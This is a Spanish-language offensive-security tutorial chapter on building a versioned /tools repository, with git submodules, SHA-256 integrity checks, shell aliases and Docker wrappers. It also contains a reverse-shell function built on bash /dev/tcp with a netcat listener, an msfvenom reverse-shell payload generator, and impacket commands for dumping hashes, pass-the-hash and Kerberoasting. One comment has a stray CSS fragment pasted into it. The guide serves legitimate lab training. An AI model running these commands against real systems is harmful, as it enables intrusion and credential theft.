1.9 Repositorio local de herramientas
Kali viene con muchas herramientas. Pero un operador serio tiene las suyas propias: versiones específicas, forks personalizados, scripts propios y configuraciones afinadas. Este apartado trata de cómo organizar, versionar, verificar y usar ese arsenal de forma que nunca pierdas nada, nunca uses algo comprometido y siempre sepas exactamente qué tienes.
1.9.1 Estructura recomendada del directorio /tools/
Tener las herramientas dispersas por el sistema — algunas en /opt/, otras en ~/Downloads/, otras clonadas en el escritorio — es una forma segura de perder tiempo buscando cosas, usar versiones desactualizadas sin darte cuenta y no poder reproducir tu entorno en otra máquina.
La solución es centralizar todo bajo un único directorio raíz — /tools/ o ~/tools/ — con una estructura jerárquica coherente que sea fácil de navegar y de versionar con git.
Árbol de directorios recomendado
/tools/
├── README.md # Índice de todo lo que hay y cómo usarlo
│
├── recon/ # Reconocimiento y OSINT
│ ├── amass/
│ ├── subfinder/
│ ├── theHarvester/
│ └── nuclei/
│
├── network/ # Escaneo y análisis de red
│ ├── nmap-scripts/ # Scripts NSE personalizados
│ ├── masscan/
│ └── responder/
│
├── web/ # Hacking web
│ ├── sqlmap/
│ ├── ffuf/
│ ├── feroxbuster/
│ └── burp-extensions/
│
├── exploitation/ # Exploits y frameworks
│ ├── exploits/ # Exploits públicos adaptados
│ └── payloads/ # Payloads generados y personalizados
│
├── post/ # Post-explotación
│ ├── linux/
│ │ ├── linpeas/
│ │ └── pspy/
│ └── windows/
│ ├── winpeas/
│ ├── mimikatz/
│ └── rubeus/
│
├── ad/ # Active Directory
│ ├── bloodhound/
│ ├── impacket/
│ └── powerview/
│
├── cracking/ # Cracking de hashes y contraseñas
│ ├── wordlists/ # Ver apartado 1.10
│ └── rules/ # Reglas personalizadas de hashcat
│
├── wireless/ # Hacking wireless
│ └── aircrack-scripts/
│
├── scripts/ # Scripts propios
│ ├── bash/
│ └── python/
│
└── bins/ # Binarios precompilados (para transferir a objetivos)
├── linux/
│ ├── x86_64/
│ └── x86/
└── windows/
├── x64/
└── x86/
Crear la estructura de un golpe
# Crear toda la estructura en un comando
mkdir -p ~/tools/{recon,network,web,exploitation/{exploits,payloads},post/{linux,windows},ad,cracking/{wordlists,rules},wireless,scripts/{bash,python},bins/{linux/{x86_64,x86},windows/{x64,x86}}}
# Inicializar como repositorio git
cd /tools
git init
git checkout -b main
# Crear un .gitignore para no versionar binarios grandes ni datos sensibles
cat > ~/tools/.gitignore << 'EOF'
# Binarios compilados
*.exe
*.elf
*.bin
*.so
# Wordlists (son muy grandes, gestionar por separado)
cracking/wordlists/
# Datos de operaciones (nunca en git)
exploitation/payloads/active/
post/loot/
# Archivos temporales
*.pyc
__pycache__/
*.swp
EOF
# Crear el README principal
cat > ~/tools/README.md << 'EOF'
# /tools — Repositorio de herramientas de hacking
## Estructura
- recon/ → Reconocimiento y OSINT
- network/ → Escaneo y análisis de red
- web/ → Hacking web
- exploitation/ → Exploits y payloads
- post/ → Post-explotación (Linux y Windows)
- ad/ → Active Directory
- cracking/ → Cracking y wordlists
- scripts/ → Scripts propios
- bins/ → Binarios precompilados para transferir
EOF
# Primer commit
git add .
git commit -m "feat: estructura inicial del repositorio de herramientas"
README por herramienta
Cada herramienta que añadas debería tener un README.md mínimo con los comandos que más usas. No para documentar la herramienta en general — para documentar tu uso específico de ella. Lo que llevas semanas usando a diario no necesitas apuntarlo. Lo que usas una vez al mes, sí.
# /tools/ad/impacket/README.md
## impacket
Colección de scripts Python para protocolos de red Windows/AD.
Repo: https://github.com/fortra/impacket
Versión usada: commit abc123
## Instalación
pip3 install impacket
# o desde el repo (para tener la última versión):
pip3 install .
## Comandos más usados
# Dump de hashes SAM de forma remota
secretsdump.py DOMINIO/usuario:password@IP
# Ejecutar comando remoto (Pass-the-Hash)
wmiexec.py -hashes :HASH DOMINIO/usuario@IP "cmd"
# Kerberoasting
GetUserSPNs.py DOMINIO/usuario:password -dc-ip IP -request
## Notas personales
- Siempre usar con proxychains si hay pivoting
- El módulo smbexec deja menos rastro que psexec
1.9.2 Gestión con git submodules para forks personalizados
Una vez tienes el directorio /tools/ como repositorio git, el siguiente paso es añadir las herramientas externas de forma que puedan actualizarse sin perder tus personalizaciones. Para eso existen los git submodules: referencias a commits específicos de repositorios externos que viven dentro de tu repositorio.
La ventaja frente a simplemente clonar herramientas en subcarpetas es que el submodule queda registrado en tu repo: qué herramienta, de dónde, en qué commit exacto. Cuando clonas tu /tools/ en otra máquina, un solo comando restaura todo.
Añadir herramientas como submodules
# Añadir una herramienta como submodule
# git submodule add [URL] [ruta_destino]
cd /tools
git submodule add https://github.com/fortra/impacket.git ad/impacket
git submodule add https://github.com/BloodHoundAD/BloodHound.git ad/bloodhound
git submodule add https://github.com/danielmiessler/SecLists.git cracking/wordlists/seclists
git submodule add https://github.com/ffuf/ffuf.git web/ffuf
git submodule add https://github.com/carlospolop/PEASS-ng.git post/peass
# El archivo .gitmodules registra todos los submodules
cat /tools/.gitmodules
# [submodule "ad/impacket"]
# path = ad/impacket
# url = https://github.com/fortra/impacket.git
# Hacer commit de los nuevos submodules
git add .gitmodules ad/impacket ad/bloodhound
git commit -m "feat: añadir impacket y bloodhound como submodules"
Restaurar todo en una máquina nueva
Una de las ventajas clave de los submodules: con dos comandos tienes todo el repositorio y todas las herramientas listas en una máquina nueva.
# Clonar el repositorio de herramientas y todos sus submodules de una vez
git clone --recurse-submodules https://github.com/tuusuario/tools.git /tools
# Si ya clonaste sin --recurse-submodules, inicializa después
git submodule update --init --recursive
# Ver el estado de todos los submodules
git submodule status
Restaurar sin depender de GitHub
Los ejemplos anteriores asumen un repositorio en GitHub. Si prefieres no depender de ningún servidor externo, tienes tres alternativas completamente válidas:
Opción 1 — Copia directa por USB o red (la más simple):
# En tu máquina original: copiar la carpeta entera a un disco externo
cp -r /tools /media/usb/tools
# En la máquina nueva: pegar y restaurar
cp -r /media/usb/tools /tools
cd /tools
git submodule update --init --recursive
Esto funciona porque los datos de los submodules ya están físicamente dentro de /tools/.git/modules/. Git no necesita descargar nada — simplemente los inicializa desde la copia local.
Opción 2 — Servidor Git privado en tu red local:
Si tienes un NAS, un servidor casero o una Raspberry Pi, puedes montar tu propio servidor Git sin que nada salga a internet:
# En el servidor local (ej: 192.168.1.100): crear el repositorio vacío
ssh usuario@192.168.1.100 "git init --bare /ruta/tools.git"
# En tu máquina principal: añadir el servidor como remoto y subir
cd /tools
git remote add origin usuario@192.168.1.100:/ruta/tools.git
git push -u origin main
# En la máquina nueva: clonar desde tu servidor local
git clone --recurse-submodules usuario@192.168.1.100:/ruta/tools.git /tools
Todo el tráfico queda en tu red local. Nada sale a internet. Si los submodules apuntan a repos externos, sí necesitarás conexión para clonarlos — a menos que también los mirrors localmente.
Opción 3 — Archivo comprimido portable:
# Crear el archivo comprimido (incluye historial git y submodules)
cd /
tar -czf arsenal_tools_$(date +%Y%m%d).tar.gz tools/
# En la máquina nueva: extraer
tar -xzf arsenal_tools_20241201.tar.gz -C /
# Verificar que git ve el historial completo
cd /tools
git log --oneline -5
El tar preserva todo: historial de git, metadatos, submodules y binarios. Es la opción más voluminosa pero también la más completa — en una sola extracción tienes exactamente el mismo estado que en el original.
Actualizar submodules
# Actualizar UN submodule al último commit de su rama remota
cd /tools/ad/impacket
git pull origin main
cd /tools
git add ad/impacket
git commit -m "chore: actualizar impacket"
# Actualizar TODOS los submodules al último commit disponible
git submodule update --remote --merge
git add .
git commit -m "chore: actualizar todos los submodules"
Forks personalizados: tus propias modificaciones
Cuando necesitas modificar una herramienta — cambiar un parámetro hardcodeado, añadir una funcionalidad, adaptar un script a tu entorno — la forma correcta es hacer un fork en GitHub y usar ese fork como submodule en lugar del original.
# Escenario: tienes un fork propio de sqlmap con modificaciones
# 1. Añadir el fork como submodule
git submodule add https://github.com/tuusuario/sqlmap.git web/sqlmap
# 2. Dentro del submgrid-template-columns: 1fr 260px;odule, añadir el repo original como "upstream"
cd /tools/web/sqlmap
git remote add upstream https://github.com/sqlmapproject/sqlmap.git
# 3. Cuando salga una actualización del repo original, sincronizar tu fork
git fetch upstream
git merge upstream/master # o rebase si prefieres
git push origin master # actualiza tu fork en GitHub
# 4. Volver al repo principal y registrar la actualización
cd /tools
git add web/sqlmap
git commit -m "chore: sincronizar sqlmap con upstream"
git subtree, que fusiona el historial del repo externo en el tuyo. Es más simple de usar pero hace el historial más difícil de leer. Para la mayoría de casos en un repositorio de herramientas, los submodules son la opción correcta — mantienen el historial separado y es más fácil actualizar.
1.9.3 Hash verification (SHA-256) para detectar herramientas trojanizadas
Descargar herramientas de internet sin verificar su integridad es un vector de ataque real. Hay casos documentados de repositorios de seguridad comprometidos, dominios typosquatted con herramientas modificadas y mirrors no oficiales que distribuyen versiones alteradas. Si alguien mete un backdoor en tu copia de Mimikatz, la herramienta funciona igual — pero también hace algo más.
La verificación de hashes es la contramedida: comparar el hash SHA-256 del archivo que descargaste con el hash oficial publicado por el autor. Si coinciden, el archivo es idéntico al original. Si no coinciden, algo ha cambiado.
Verificación básica
# Calcular el SHA-256 de un archivo
sha256sum herramienta.zip
# a3f2b1c4d5e6... herramienta.zip
# Si el autor publica un archivo .sha256 o .checksums, verificar directamente
# (el archivo contiene "HASH nombre_archivo" en cada línea)
sha256sum --check herramienta.zip.sha256
# herramienta.zip: OK → hash correcto
# herramienta.zip: FAILED → ¡NO usar este archivo!
# Verificación manual: comparar el hash calculado con el publicado
HASH_CALCULADO=$(sha256sum herramienta.zip | awk '{print $1}')
HASH_OFICIAL="a3f2b1c4d5e6789..." # copiado de la página oficial del autor
if [ "$HASH_CALCULADO" = "$HASH_OFICIAL" ]; then
echo "[✓] Hash correcto — archivo íntegro"
else
echo "[!] ALERTA: el hash NO coincide — archivo potencialmente comprometido"
rm herramienta.zip
fi
Dónde encontrar los hashes oficiales
- Releases de GitHub: la mayoría de proyectos serios publican un archivo
checksums.txtosha256sums.txten la sección Releases, al lado de los binarios descargables - Página oficial del proyecto: herramientas como Metasploit, Burp Suite o Ghidra publican los hashes SHA-256 en su página de descargas
- PGP signatures: más seguro que SHA-256 solo — el autor firma criptográficamente el release con su clave PGP.
gpg --verify herramienta.sig herramienta.zip - Package managers:
apt,pipycargoverifican integridad automáticamente al instalar desde sus repositorios oficiales
Script de verificación automatizada
Para un repositorio de herramientas con muchos binarios, lo más práctico es mantener un archivo de hashes conocidos y verificarlos todos a la vez:
#!/bin/bash
# verify_tools.sh
# Verifica la integridad de los binarios en /tools/bins/
# Uso: ./verify_tools.sh
# Archivo de hashes conocidos (formato: SHA256 ruta_relativa)
HASHES_FILE="/tools/hashes.sha256"
TOOLS_DIR="/tools"
ERRORES=0
echo "[*] Verificando integridad de herramientas..."
while IFS= read -r linea; do
# Ignorar líneas vacías y comentarios
[[ -z "$linea" || "$linea" == \#* ]] && continue
hash_esperado=$(echo "$linea" | awk '{print $1}')
ruta=$(echo "$linea" | awk '{print $2}')
ruta_completa="${TOOLS_DIR}/${ruta}"
if [ ! -f "$ruta_completa" ]; then
echo " [!] NO ENCONTRADO: $ruta"
(( ERRORES++ ))
continue
fi
hash_real=$(sha256sum "$ruta_completa" | awk '{print $1}')
if [ "$hash_real" = "$hash_esperado" ]; then
echo " [✓] OK: $ruta"
else
echo " [!] ALERTA - HASH INCORRECTO: $ruta"
echo " Esperado: $hash_esperado"
echo " Real: $hash_real"
(( ERRORES++ ))
fi
done < "$HASHES_FILE"
echo ""
if [ "$ERRORES" -eq 0 ]; then
echo "[✓] Todas las herramientas verificadas correctamente"
else
echo "[!] $ERRORES problema(s) detectado(s) — revisar antes de usar"
exit 1
fi
El archivo /tools/hashes.sha256 que consume el script tiene este formato:
# hashes.sha256 — hashes SHA-256 de binarios conocidos y verificados
# Actualizar después de cada descarga verificada manualmente
# Formato: SHA256 ruta/relativa/al/archivo
a3f2b1c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2 bins/linux/x86_64/linpeas.sh
b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5 bins/windows/x64/winpeas.exe
c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 bins/windows/x64/rubeus.exe
Generar el archivo de hashes
# Generar hashes de todos los archivos en bins/ (rutas relativas)
cd /tools
find bins/ -type f -exec sha256sum {} \; > hashes.sha256
# Añadir al git (los hashes son texto plano, sí van versionados)
git add hashes.sha256
git commit -m "sec: añadir hashes SHA-256 de binarios"
1.9.4 Crear alias y funciones útiles en .bashrc / .zshrc
No los uses en entorno de producción, algunos de ellos son muy ruidosos y muy mejorables.
Los alias y funciones en el shell son multiplicadores de productividad. Lo que haces decenas de veces al día — escanear una IP, conectarte a una máquina, limpiar la terminal — puede reducirse a dos o tres caracteres. En una sesión larga de laboratorio, el tiempo ahorrado es significativo.
La clave es organizarlos bien para que el archivo .bashrc o .zshrc no se convierta en un desastre ilegible. La solución habitual es cargar un archivo separado dedicado al hacking:
# Al final de tu ~/.bashrc o ~/.zshrc:
# Cargar configuración de hacking si existe
[ -f ~/.hacking_aliases ] && source ~/.hacking_aliases
# Así mantienes los alias de hacking en un archivo separado
# que puedes versionar y compartir independientemente
Alias esenciales para hacking
## ──────────────────────────────────────────────────────────────
## NMAP
## ──────────────────────────────────────────────────────────────
# Escaneo rápido de puertos comunes
alias nmap-quick='nmap -sV -sC -T4 --open'
# Escaneo completo de todos los puertos
alias nmap-full='nmap -sV -sC -p- -T4 --open'
# Escaneo UDP de los más comunes
alias nmap-udp='sudo nmap -sU -T4 --top-ports 200'
# Ping sweep (descubrir hosts)
alias nmap-ping='nmap -sn'
## ──────────────────────────────────────────────────────────────
## GOBUSTER / FFUF
## ──────────────────────────────────────────────────────────────
# Fuzzing de directorios con wordlist estándar
alias fuzz-dirs='gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,html,txt'
# Fuzzing de subdominios
alias fuzz-vhosts='ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.DOMINIO" -u http://IP'
## ──────────────────────────────────────────────────────────────
## CONEXIONES Y TRANSFERENCIAS
## ──────────────────────────────────────────────────────────────
# Escuchar con netcat en un puerto
alias nc-listen='nc -lvnp'
# Servidor HTTP simple en el directorio actual
alias http-server='python3 -m http.server 8000'
# Servidor SMB simple (para transferir archivos a Windows)
alias smb-server='impacket-smbserver share $(pwd) -smb2support'
## ──────────────────────────────────────────────────────────────
## LABORATORIO
## ──────────────────────────────────────────────────────────────
# Estado de todas las VMs
alias lab-status='VBoxManage list runningvms && docker ps'
# Apagar todo el laboratorio
alias lab-off='VBoxManage list runningvms | grep -oP "(?<=\")[^\"]*(?=\")" | xargs -I{} VBoxManage controlvm "{}" savestate'
## ──────────────────────────────────────────────────────────────
## UTILIDADES GENERALES
## ──────────────────────────────────────────────────────────────
# Ver mi IP en todas las interfaces
alias myip='ip -br addr'
# Ver puertos en escucha
alias ports='ss -tlnp'
# Limpiar archivos de metadatos antes de enviar
alias strip-meta='mat2 --inplace'
# Decodificar base64
alias b64d='base64 -d'
# URL decode
alias urldecode='python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.argv[1]))"'
Funciones: cuando el alias no es suficiente
Los alias tienen una limitación: no aceptan argumentos de posición de forma flexible. Para eso están las funciones shell, que permiten lógica más compleja:
## Escaneo inicial completo con guardado automático de resultados
## Uso: scan 10.10.10.1
scan() {
local ip="$1"
local dir="./scans"
[ -z "$ip" ] && { echo "Uso: scan <IP>"; return 1; }
mkdir -p "$dir"
echo "[*] Iniciando escaneo de $ip → $dir/"
nmap -sV -sC -p- -T4 --open "$ip" -oA "$dir/${ip}_full"
echo "[✓] Resultados guardados en $dir/${ip}_full.{nmap,xml,gnmap}"
}
## Reverse shell one-liner de bash
## Uso: revshell 10.10.14.5 4444
revshell() {
local ip="$1"
local port="${2:-4444}"
[ -z "$ip" ] && { echo "Uso: revshell <IP> [puerto]"; return 1; }
echo "[*] Payload para reverse shell a $ip:$port"
echo ""
echo "bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"
echo ""
echo "[*] Iniciando listener en puerto $port..."
nc -lvnp "$port"
}
## Generar payload msfvenom rápidamente
## Uso: msfpayload linux/x86 10.10.14.5 4444
msfpayload() {
local plataforma="${1:-linux/x64}"
local lhost="$2"
local lport="${3:-4444}"
local output="payload_${plataforma//\//_}"
[ -z "$lhost" ] && { echo "Uso: msfpayload <plataforma> <LHOST> [LPORT]"; return 1; }
msfvenom -p "${plataforma}/shell_reverse_tcp" LHOST="$lhost" LPORT="$lport" -f elf -o "$output"
echo "[✓] Payload generado: $output"
}
## Extraer IPs de la salida de nmap
## Uso: nmap-ips ./scans/red_192.168.1.0_24.gnmap
nmap-ips() {
grep "Up" "$1" | awk '{print $2}'
}
~/.hacking_aliases va en el mismo repositorio git que /tools/ o en un repositorio de dotfiles separado. Lo que no va en git no existe cuando reinstalar la máquina o pasas a otra.
1.9.5 Dockerizar herramientas problemáticas
Hay herramientas que no quieren instalarse en un sistema moderno: dependen de Python 2, requieren versiones específicas de librerías que entran en conflicto con otras herramientas, necesitan un kernel viejo, o simplemente su instalación deja el sistema en un estado difícil de limpiar. La solución es empaquetarlas en un contenedor Docker y exponerlas al sistema como si fueran binarios nativos.
El resultado es una herramienta que se invoca con un comando normal desde el terminal, pero que internamente corre en un contenedor aislado con todas sus dependencias satisfechas — sin contaminar el sistema anfitrión.
El patrón wrapper script
La clave es un script bash que actúa como intermediario: recibe los argumentos del usuario, lanza el contenedor Docker con esos argumentos y monta el directorio actual como volumen para que la herramienta pueda leer y escribir archivos.
#!/bin/bash
# Wrapper script genérico para herramientas dockerizadas
# El contenedor ve el directorio actual montado en /work
docker run --rm -it \
-v "$(pwd):/work" \
-w "/work" \
nombre_imagen \
"$@" # $@ pasa todos los argumentos del usuario al contenedor
Ejemplos reales
Ejemplo 1 — Herramienta con Python 2 en sistema con Python 3:
# /tools/exploitation/exploits/python2-tool/Dockerfile
FROM python:2.7-slim
# Instalar la herramienta y sus dependencias
RUN pip install requests pycrypto
# Copiar el exploit dentro de la imagen
COPY exploit.py /exploit.py
WORKDIR /work
ENTRYPOINT ["python", "/exploit.py"]
# Construir la imagen
docker build -t exploit-py2 /tools/exploitation/exploits/python2-tool/
# Crear el wrapper script
cat > /tools/scripts/bash/exploit-py2 << 'EOF'
#!/bin/bash
docker run --rm -it -v "$(pwd):/work" -w "/work" exploit-py2 "$@"
EOF
chmod +x /tools/scripts/bash/exploit-py2
# Usar la herramienta exactamente como si fuera nativa
exploit-py2 --target 192.168.1.1 --port 8080
Ejemplo 2 — sqlmap con perfil personalizado:
#!/bin/bash
# /tools/scripts/bash/sqlmap
# Wrapper de sqlmap con configuración preestablecida
# Monta el directorio actual + la carpeta de resultados
mkdir -p "$(pwd)/sqlmap_output"
docker run --rm -it \
-v "$(pwd):/work" \
-v "$(pwd)/sqlmap_output:/root/.sqlmap" \
-w "/work" \
paoloo/sqlmap \
"$@"
Ejemplo 3 — Volatility 3 (análisis forense con dependencias complejas):
# Dockerfile para Volatility 3
FROM python:3.11-slim
RUN apt-get update && apt-get install -y git && rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/volatilityfoundation/volatility3.git /vol3 && \
pip install -r /vol3/requirements.txt
WORKDIR /work
ENTRYPOINT ["python3", "/vol3/vol.py"]
#!/bin/bash
# /tools/scripts/bash/vol3
# Uso: vol3 -f memdump.raw windows.pslist
docker run --rm \
-v "$(pwd):/work" \
-w "/work" \
volatility3 \
"$@"
Hacer los wrappers accesibles como comandos del sistema
Para que los wrapper scripts se puedan llamar desde cualquier directorio sin indicar la ruta completa, añade /tools/scripts/bash/ al PATH:
# Añadir al ~/.bashrc o ~/.zshrc (o al ~/.hacking_aliases)
export PATH="$PATH:/tools/scripts/bash"
# Recargar el shell
source ~/.bashrc
# Verificar que el wrapper es encontrado
which vol3
# /tools/scripts/bash/vol3
# Usar directamente desde cualquier directorio
vol3 -f /tmp/memdump.raw windows.pslist
docker run al ser invocados. Si la imagen no existe localmente, Docker la descarga o construye en ese momento — lo que causa un retraso incómodo. Como parte de la configuración inicial del laboratorio, construye todas las imágenes de antemano con un script de setup y toma un snapshot después.